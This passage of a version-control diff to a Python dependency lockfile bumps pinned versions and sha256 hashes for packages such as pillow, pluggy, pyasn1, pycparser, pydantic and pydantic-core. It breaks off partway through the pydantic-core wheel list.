"sha256:412444afb8c4c7a6cc11a47dade32982439925537e483be7c0ae0cf96c4f6a0b"}, + {file = "pillow-10.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:798232c92e7665fe82ac085f9d8e8ca98826f8e27859d9a96b41d519ecd2e49a"}, + {file = "pillow-10.3.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:4eaa22f0d22b1a7e93ff0a596d57fdede2e550aecffb5a1ef1106aaece48e96b"}, + {file = "pillow-10.3.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cd5e14fbf22a87321b24c88669aad3a51ec052eb145315b3da3b7e3cc105b9a2"}, + {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1530e8f3a4b965eb6a7785cf17a426c779333eb62c9a7d1bbcf3ffd5bf77a4aa"}, + {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d512aafa1d32efa014fa041d38868fda85028e3f930a96f85d49c7d8ddc0383"}, + {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:339894035d0ede518b16073bdc2feef4c991ee991a29774b33e515f1d308e08d"}, + {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:aa7e402ce11f0885305bfb6afb3434b3cd8f53b563ac065452d9d5654c7b86fd"}, + {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0ea2a783a2bdf2a561808fe4a7a12e9aa3799b701ba305de596bc48b8bdfce9d"}, + {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c78e1b00a87ce43bb37642c0812315b411e856a905d58d597750eb79802aaaa3"}, + {file = "pillow-10.3.0-cp38-cp38-win32.whl", hash = "sha256:72d622d262e463dfb7595202d229f5f3ab4b852289a1cd09650362db23b9eb0b"}, + {file = "pillow-10.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:2034f6759a722da3a3dbd91a81148cf884e91d1b747992ca288ab88c1de15999"}, + {file = "pillow-10.3.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2ed854e716a89b1afcedea551cd85f2eb2a807613752ab997b9974aaa0d56936"}, + {file = "pillow-10.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:dc1a390a82755a8c26c9964d457d4c9cbec5405896cba94cf51f36ea0d855002"}, + {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4203efca580f0dd6f882ca211f923168548f7ba334c189e9eab1178ab840bf60"}, + {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3102045a10945173d38336f6e71a8dc71bcaeed55c3123ad4af82c52807b9375"}, + {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:6fb1b30043271ec92dc65f6d9f0b7a830c210b8a96423074b15c7bc999975f57"}, + {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:1dfc94946bc60ea375cc39cff0b8da6c7e5f8fcdc1d946beb8da5c216156ddd8"}, + {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b09b86b27a064c9624d0a6c54da01c1beaf5b6cadfa609cf63789b1d08a797b9"}, + {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d3b2348a78bc939b4fed6552abfd2e7988e0f81443ef3911a4b8498ca084f6eb"}, + {file = "pillow-10.3.0-cp39-cp39-win32.whl", hash = "sha256:45ebc7b45406febf07fef35d856f0293a92e7417ae7933207e90bf9090b70572"}, + {file = "pillow-10.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:0ba26351b137ca4e0db0342d5d00d2e355eb29372c05afd544ebf47c0956ffeb"}, + {file = "pillow-10.3.0-cp39-cp39-win_arm64.whl", hash = "sha256:50fd3f6b26e3441ae07b7c979309638b72abc1a25da31a81a7fbd9495713ef4f"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:6b02471b72526ab8a18c39cb7967b72d194ec53c1fd0a70b050565a0f366d355"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8ab74c06ffdab957d7670c2a5a6e1a70181cd10b727cd788c4dd9005b6a8acd9"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:048eeade4c33fdf7e08da40ef402e748df113fd0b4584e32c4af74fe78baaeb2"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e2ec1e921fd07c7cda7962bad283acc2f2a9ccc1b971ee4b216b75fad6f0463"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c8e73e99da7db1b4cad7f8d682cf6abad7844da39834c288fbfa394a47bbced"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:16563993329b79513f59142a6b02055e10514c1a8e86dca8b48a893e33cf91e3"}, + {file = "pillow-10.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:dd78700f5788ae180b5ee8902c6aea5a5726bac7c364b202b4b3e3ba2d293170"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:aff76a55a8aa8364d25400a210a65ff59d0168e0b4285ba6bf2bd83cf675ba32"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:b7bc2176354defba3edc2b9a777744462da2f8e921fbaf61e52acb95bafa9828"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:793b4e24db2e8742ca6423d3fde8396db336698c55cd34b660663ee9e45ed37f"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d93480005693d247f8346bc8ee28c72a2191bdf1f6b5db469c096c0c867ac015"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c83341b89884e2b2e55886e8fbbf37c3fa5efd6c8907124aeb72f285ae5696e5"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a1d1915db1a4fdb2754b9de292642a39a7fb28f1736699527bb649484fb966a"}, + {file = "pillow-10.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a0eaa93d054751ee9964afa21c06247779b90440ca41d184aeb5d410f20ff591"}, + {file = "pillow-10.3.0.tar.gz", hash = "sha256:9d2455fbf44c914840c793e89aa82d0e1763a14253a000743719ae5946814b2d"}, ] [package.extras] @@ -1583,28 +1593,29 @@ xmp = ["defusedxml"] [[package]] name = "platformdirs" -version = "4.2.0" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." +version = "4.2.2" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false python-versions = ">=3.8" files = [ - {file = "platformdirs-4.2.0-py3-none-any.whl", hash = "sha256:0614df2a2f37e1a662acbd8e2b25b92ccf8632929bc6d43467e17fe89c75e068"}, - {file = "platformdirs-4.2.0.tar.gz", hash = "sha256:ef0cc731df711022c174543cb70a9b5bd22e5a9337c8624ef2c2ceb8ddad8768"}, + {file = "platformdirs-4.2.2-py3-none-any.whl", hash = "sha256:2d7a1657e36a80ea911db832a8a6ece5ee53d8de21edd5cc5879af6530b1bfee"}, + {file = "platformdirs-4.2.2.tar.gz", hash = "sha256:38b7b51f512eed9e84a22788b4bce1de17c0adb134d6becb09836e37d8654cd3"}, ] [package.extras] docs = ["furo (>=2023.9.10)", "proselint (>=0.13)", "sphinx (>=7.2.6)", "sphinx-autodoc-typehints (>=1.25.2)"] test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.4.3)", "pytest-cov (>=4.1)", "pytest-mock (>=3.12)"] +type = ["mypy (>=1.8)"] [[package]] name = "pluggy" -version = "1.4.0" +version = "1.5.0" description = "plugin and hook calling mechanisms for python" optional = false python-versions = ">=3.8" files = [ - {file = "pluggy-1.4.0-py3-none-any.whl", hash = "sha256:7db9f7b503d67d1c5b95f59773ebb58a8c1c288129a88665838012cfb07b8981"}, - {file = "pluggy-1.4.0.tar.gz", hash = "sha256:8c85c2876142a764e5b7548e7d9a0e0ddb46f5185161049a79b7e974454223be"}, + {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, + {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, ] [package.extras] @@ -1624,13 +1635,13 @@ files = [ [[package]] name = "prompt-toolkit" -version = "3.0.43" +version = "3.0.47" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.43-py3-none-any.whl", hash = "sha256:a11a29cb3bf0a28a387fe5122cdb649816a957cd9261dcedf8c9f1fef33eacf6"}, - {file = "prompt_toolkit-3.0.43.tar.gz", hash = "sha256:3527b7af26106cbc65a040bcc84839a3566ec1b051bb0bfe953631e704b0ff7d"}, + {file = "prompt_toolkit-3.0.47-py3-none-any.whl", hash = "sha256:0d7bfa67001d5e39d02c224b663abc33687405033a8c422d0d675a5a13361d10"}, + {file = "prompt_toolkit-3.0.47.tar.gz", hash = "sha256:1e1b29cb58080b1e69f207c893a1a7bf16d127a5c30c9d17a25a5d77792e5360"}, ] [package.dependencies] @@ -1638,49 +1649,49 @@ wcwidth = "*" [[package]] name = "pyasn1" -version = "0.5.1" +version = "0.6.0" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +python-versions = ">=3.8" files = [ - {file = "pyasn1-0.5.1-py2.py3-none-any.whl", hash = "sha256:4439847c58d40b1d0a573d07e3856e95333f1976294494c325775aeca506eb58"}, - {file = "pyasn1-0.5.1.tar.gz", hash = "sha256:6d391a96e59b23130a5cfa74d6fd7f388dbbe26cc8f1edf39fdddf08d9d6676c"}, + {file = "pyasn1-0.6.0-py2.py3-none-any.whl", hash = "sha256:cca4bb0f2df5504f02f6f8a775b6e416ff9b0b3b16f7ee80b5a3153d9b804473"}, + {file = "pyasn1-0.6.0.tar.gz", hash = "sha256:3a35ab2c4b5ef98e17dfdec8ab074046fbda76e281c5a706ccd82328cfc8f64c"}, ] [[package]] name = "pyasn1-modules" -version = "0.3.0" +version = "0.4.0" description = "A collection of ASN.1-based protocols modules" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +python-versions = ">=3.8" files = [ - {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, - {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, + {file = "pyasn1_modules-0.4.0-py3-none-any.whl", hash = "sha256:be04f15b66c206eed667e0bb5ab27e2b1855ea54a842e5037738099e8ca4ae0b"}, + {file = "pyasn1_modules-0.4.0.tar.gz", hash = "sha256:831dbcea1b177b28c9baddf4c6d1013c24c3accd14a1873fffaa6a2e905f17b6"}, ] [package.dependencies] -pyasn1 = ">=0.4.6,<0.6.0" +pyasn1 = ">=0.4.6,<0.7.0" [[package]] name = "pyasyncore" -version = "1.0.3" +version = "1.0.4" description = "Make asyncore available for Python 3.12 onwards" optional = false python-versions = "*" files = [ - {file = "pyasyncore-1.0.3-py3-none-any.whl", hash = "sha256:26179d12f569facdb66c8af117a0d0b8f18a2d1af92276f9e3df3f5086c4c6ec"}, - {file = "pyasyncore-1.0.3.tar.gz", hash = "sha256:562e0686c936171a65ae5eaf0341859a05650010b9aae5d7d01382b5bcdab8d0"}, + {file = "pyasyncore-1.0.4-py3-none-any.whl", hash = "sha256:9e5f6dc9dc057c56370b7a5cdb4c4670fd4b0556de2913ed1f428cd6a5366895"}, + {file = "pyasyncore-1.0.4.tar.gz", hash = "sha256:2c7a8b9b750ba6260f1e5a061456d61320a80579c6a43d42183417da89c7d5d6"}, ] [[package]] name = "pycparser" -version = "2.21" +version = "2.22" description = "C parser in Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=3.8" files = [ - {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, - {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, + {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, + {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, ] [[package]] @@ -1726,18 +1737,18 @@ files = [ [[package]] name = "pydantic" -version = "2.6.1" +version = "2.7.4" description = "Data validation using Python type hints" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic-2.6.1-py3-none-any.whl", hash = "sha256:0b6a909df3192245cb736509a92ff69e4fef76116feffec68e93a567347bae6f"}, - {file = "pydantic-2.6.1.tar.gz", hash = "sha256:4fd5c182a2488dc63e6d32737ff19937888001e2a6d86e94b3f233104a5d1fa9"}, + {file = "pydantic-2.7.4-py3-none-any.whl", hash = "sha256:ee8538d41ccb9c0a9ad3e0e5f07bf15ed8015b481ced539a1759d8cc89ae90d0"}, + {file = "pydantic-2.7.4.tar.gz", hash = "sha256:0c84efd9548d545f63ac0060c1e4d39bb9b14db8b3c0652338aecc07b5adec52"}, ] [package.dependencies] annotated-types = ">=0.4.0" -pydantic-core = "2.16.2" +pydantic-core = "2.18.4" typing-extensions = ">=4.6.1" [package.extras] @@ -1745,90 +1756,90 @@ email = ["email-validator (>=2.0.0)"] [[package]] name = "pydantic-core" -version = "2.16.2" -description = "" +version = "2.18.4" +description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic_core-2.16.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:3fab4e75b8c525a4776e7630b9ee48aea50107fea6ca9f593c98da3f4d11bf7c"}, - {file = "pydantic_core-2.16.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8bde5b48c65b8e807409e6f20baee5d2cd880e0fad00b1a811ebc43e39a00ab2"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2924b89b16420712e9bb8192396026a8fbd6d8726224f918353ac19c4c043d2a"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:16aa02e7a0f539098e215fc193c8926c897175d64c7926d00a36188917717a05"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:936a787f83db1f2115ee829dd615c4f684ee48ac4de5779ab4300994d8af325b"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:459d6be6134ce3b38e0ef76f8a672924460c455d45f1ad8fdade36796df1ddc8"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f9ee4febb249c591d07b2d4dd36ebcad0ccd128962aaa1801508320896575ef"}, - {file = "pydantic_core-2.16.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:40a0bd0bed96dae5712dab2aba7d334a6c67cbcac2ddfca7dbcc4a8176445990"}, - {file = "pydantic_core-2.16.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:870dbfa94de9b8866b37b867a2cb37a60c401d9deb4a9ea392abf11a1f98037b"}, - {file = "pydantic_core-2.16.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:308974fdf98046db28440eb3377abba274808bf66262e042c412eb2adf852731"}, - {file = "pydantic_core-2.16.2-cp310-none-win32.whl", hash = "sha256:a477932664d9611d7a0816cc3c0eb1f8856f8a42435488280dfbf4395e141485"}, - {file = "pydantic_core-2.16.2-cp310-none-win_amd64.whl", hash = "sha256:8f9142a6ed83d90c94a3efd7af8873bf7cefed2d3d44387bf848888482e2d25f"}, - {file = "pydantic_core-2.16.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:406fac1d09edc613020ce9cf3f2ccf1a1b2f57ab00552b4c18e3d5276c67eb11"}, - {file = "pydantic_core-2.16.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce232a6170dd6532096cadbf6185271e4e8c70fc9217ebe105923ac105da9978"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a90fec23b4b05a09ad988e7a4f4e081711a90eb2a55b9c984d8b74597599180f"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8aafeedb6597a163a9c9727d8a8bd363a93277701b7bfd2749fbefee2396469e"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9957433c3a1b67bdd4c63717eaf174ebb749510d5ea612cd4e83f2d9142f3fc8"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0d7a9165167269758145756db43a133608a531b1e5bb6a626b9ee24bc38a8f7"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dffaf740fe2e147fedcb6b561353a16243e654f7fe8e701b1b9db148242e1272"}, - {file = "pydantic_core-2.16.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f8ed79883b4328b7f0bd142733d99c8e6b22703e908ec63d930b06be3a0e7113"}, - {file = "pydantic_core-2.16.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:cf903310a34e14651c9de056fcc12ce090560864d5a2bb0174b971685684e1d8"}, - {file = "pydantic_core-2.16.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:46b0d5520dbcafea9a8645a8164658777686c5c524d381d983317d29687cce97"}, - {file = "pydantic_core-2.16.2-cp311-none-win32.whl", hash = "sha256:70651ff6e663428cea902dac297066d5c6e5423fda345a4ca62430575364d62b"}, - {file = "pydantic_core-2.16.2-cp311-none-win_amd64.whl", hash = "sha256:98dc6f4f2095fc7ad277782a7c2c88296badcad92316b5a6e530930b1d475ebc"}, - {file = "pydantic_core-2.16.2-cp311-none-win_arm64.whl", hash = "sha256:ef6113cd31411eaf9b39fc5a8848e71c72656fd418882488598758b2c8c6dfa0"}, - {file = "pydantic_core-2.16.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:88646cae28eb1dd5cd1e09605680c2b043b64d7481cdad7f5003ebef401a3039"}, - {file = "pydantic_core-2.16.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7b883af50eaa6bb3299780651e5be921e88050ccf00e3e583b1e92020333304b"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bf26c2e2ea59d32807081ad51968133af3025c4ba5753e6a794683d2c91bf6e"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:99af961d72ac731aae2a1b55ccbdae0733d816f8bfb97b41909e143de735f522"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:02906e7306cb8c5901a1feb61f9ab5e5c690dbbeaa04d84c1b9ae2a01ebe9379"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5362d099c244a2d2f9659fb3c9db7c735f0004765bbe06b99be69fbd87c3f15"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ac426704840877a285d03a445e162eb258924f014e2f074e209d9b4ff7bf380"}, - {file = "pydantic_core-2.16.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b94cbda27267423411c928208e89adddf2ea5dd5f74b9528513f0358bba019cb"}, - {file = "pydantic_core-2.16.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6db58c22ac6c81aeac33912fb1af0e930bc9774166cdd56eade913d5f2fff35e"}, - {file = "pydantic_core-2.16.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:396fdf88b1b503c9c59c84a08b6833ec0c3b5ad1a83230252a9e17b7dfb4cffc"}, - {file = "pydantic_core-2.16.2-cp312-none-win32.whl", hash = "sha256:7c31669e0c8cc68400ef0c730c3a1e11317ba76b892deeefaf52dcb41d56ed5d"}, - {file = "pydantic_core-2.16.2-cp312-none-win_amd64.whl", hash = "sha256:a3b7352b48fbc8b446b75f3069124e87f599d25afb8baa96a550256c031bb890"}, - {file = "pydantic_core-2.16.2-cp312-none-win_arm64.whl", hash = "sha256:a9e523474998fb33f7c1a4d55f5504c908d57add624599e095c20fa575b8d943"}, - {file = "pydantic_core-2.16.2-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:ae34418b6b389d601b31153b84dce480351a352e0bb763684a1b993d6be30f17"}, - {file = "pydantic_core-2.16.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:732bd062c9e5d9582a30e8751461c1917dd1ccbdd6cafb032f02c86b20d2e7ec"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b52776a2e3230f4854907a1e0946eec04d41b1fc64069ee774876bbe0eab55"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ef551c053692b1e39e3f7950ce2296536728871110e7d75c4e7753fb30ca87f4"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ebb892ed8599b23fa8f1799e13a12c87a97a6c9d0f497525ce9858564c4575a4"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aa6c8c582036275997a733427b88031a32ffa5dfc3124dc25a730658c47a572f"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4ba0884a91f1aecce75202473ab138724aa4fb26d7707f2e1fa6c3e68c84fbf"}, - {file = "pydantic_core-2.16.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7924e54f7ce5d253d6160090ddc6df25ed2feea25bfb3339b424a9dd591688bc"}, - {file = "pydantic_core-2.16.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69a7b96b59322a81c2203be537957313b07dd333105b73db0b69212c7d867b4b"}, - {file = "pydantic_core-2.16.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:7e6231aa5bdacda78e96ad7b07d0c312f34ba35d717115f4b4bff6cb87224f0f"}, - {file = "pydantic_core-2.16.2-cp38-none-win32.whl", hash = "sha256:41dac3b9fce187a25c6253ec79a3f9e2a7e761eb08690e90415069ea4a68ff7a"}, - {file = "pydantic_core-2.16.2-cp38-none-win_amd64.whl", hash = "sha256:f685dbc1fdadb1dcd5b5e51e0a378d4685a891b2ddaf8e2bba89bd3a7144e44a"}, - {file = "pydantic_core-2.16.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:55749f745ebf154c0d63d46c8c58594d8894b161928aa41adbb0709c1fe78b77"}, - {file = "pydantic_core-2.16.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b30b0dd58a4509c3bd7eefddf6338565c4905406aee0c6e4a5293841411a1286"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18de31781cdc7e7b28678df7c2d7882f9692ad060bc6ee3c94eb15a5d733f8f7"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5864b0242f74b9dd0b78fd39db1768bc3f00d1ffc14e596fd3e3f2ce43436a33"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8f9186ca45aee030dc8234118b9c0784ad91a0bb27fc4e7d9d6608a5e3d386c"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cc6f6c9be0ab6da37bc77c2dda5f14b1d532d5dbef00311ee6e13357a418e646"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa057095f621dad24a1e906747179a69780ef45cc8f69e97463692adbcdae878"}, - {file = "pydantic_core-2.16.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6ad84731a26bcfb299f9eab56c7932d46f9cad51c52768cace09e92a19e4cf55"}, - {file = "pydantic_core-2.16.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:3b052c753c4babf2d1edc034c97851f867c87d6f3ea63a12e2700f159f5c41c3"}, - {file = "pydantic_core-2.16.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e0f686549e32ccdb02ae6f25eee40cc33900910085de6aa3790effd391ae10c2"}, - {file = "pydantic_core-2.16.2-cp39-none-win32.whl", hash = "sha256:7afb844041e707ac9ad9acad2188a90bffce2c770e6dc2318be0c9916aef1469"}, - {file = "pydantic_core-2.16.2-cp39-none-win_amd64.whl", hash = "sha256:9da90d393a8227d717c19f5397688a38635afec89f2e2d7af0df037f3249c39a"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5f60f920691a620b03082692c378661947d09415743e437a7478c309eb0e4f82"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:47924039e785a04d4a4fa49455e51b4eb3422d6eaacfde9fc9abf8fdef164e8a"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e6294e76b0380bb7a61eb8a39273c40b20beb35e8c87ee101062834ced19c545"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe56851c3f1d6f5384b3051c536cc81b3a93a73faf931f404fef95217cf1e10d"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9d776d30cde7e541b8180103c3f294ef7c1862fd45d81738d156d00551005784"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:72f7919af5de5ecfaf1eba47bf9a5d8aa089a3340277276e5636d16ee97614d7"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:4bfcbde6e06c56b30668a0c872d75a7ef3025dc3c1823a13cf29a0e9b33f67e8"}, - {file = "pydantic_core-2.16.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ff7c97eb7a29aba230389a2661edf2e9e06ce616c7e35aa764879b6894a44b25"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9b5f13857da99325dcabe1cc4e9e6a3d7b2e2c726248ba5dd4be3e8e4a0b6d0e"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:a7e41e3ada4cca5f22b478c08e973c930e5e6c7ba3588fb8e35f2398cdcc1545"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60eb8ceaa40a41540b9acae6ae7c1f0a67d233c40dc4359c256ad2ad85bdf5e5"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7beec26729d496a12fd23cf8da9944ee338c8b8a17035a560b585c36fe81af20"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:22c5f022799f3cd6741e24f0443ead92ef42be93ffda0d29b2597208c94c3753"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = 